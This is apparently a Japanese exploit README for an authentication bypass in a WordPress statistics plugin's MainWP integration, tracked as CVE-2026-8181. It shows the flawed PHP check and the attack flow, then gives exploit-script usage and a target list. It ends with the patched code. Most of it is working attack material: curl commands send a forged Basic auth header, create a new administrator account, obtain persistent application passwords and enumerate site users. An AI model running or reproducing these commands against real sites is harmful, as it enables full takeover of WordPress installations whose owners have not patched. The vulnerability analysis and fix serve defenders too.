// 脆弱なコード (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← バグ: null は WP_Error ではない！
            return false;
        }
        $user = get_user_by('login', $username);  // ← ユーザー名のみで認証！
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← 管理者権限を付与
        return true;
    }
    return false;
}

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

攻撃者 ──HTTPリクエスト──▶ WordPress
  ヘッダー:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loadedフックが発火]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        HTTPサイト → wp_is_application_passwords_available() = false
                │
        nullを返す（WP_Errorではない）
                │
        is_wp_error(null) = false ← バイパス成功！
                │
        get_user_by('login', 'admin') → 見つかる
                │
        wp_set_current_user(admin_id) → 完全な管理者権限
                │
        has_admin_access() = true
                │
        [REST APIが管理者コンテキストでリクエストを処理]
                │
        攻撃者はWordPressの**すべての**エンドポイントに管理者としてアクセス

pip3 install requests

# 基本スキャン
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# 新しい管理者アカウントを作成
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# カスタムユーザー名で
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

python3 poc_CVE-2026-8181.py

target1.com
target2.com
192.168.1.100
subdomain.example.org

# ステップ1: 認証バイパスの確認
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# ステップ2: 新しい管理者アカウントを作成
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# ステップ3: Application Passwordを取得（永続的な認証情報）
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

# 方法1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# 方法2: フォールバックルート
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# 方法3: 著者列挙
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

// 修正後
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← WP_Userかどうかをチェック、!WP_Errorではない
    return false;
}

$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... 認証処理 ...
remove_filter('application_password_is_api_request', $allow, 999);